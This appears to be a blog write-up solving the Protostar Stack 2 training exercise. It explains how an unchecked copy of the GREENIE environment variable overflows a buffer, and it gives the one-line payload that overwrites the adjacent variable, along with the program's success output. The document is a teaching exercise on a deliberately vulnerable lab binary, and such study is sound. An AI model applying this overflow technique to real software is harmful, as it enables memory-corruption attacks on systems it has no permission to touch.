Protostar Exploit Exercises Stack 2 Solution

Introduction

This exercise introduces environment variables and their utility for placing arbitrary values into memory. These values may later be retrieved and used for exploitation.

Exploitation

You must set the GREENIE environment variable> the code will then copy the contents of that environment variable and place it into the buffer buffer. Because the variable modified comes directly before the buffer you can overrun it with the contents of GREENIE.

user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c ‘print “\x41″*64 + “\x0a\x0d\x0a\x0d”‘)
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

Leave a Reply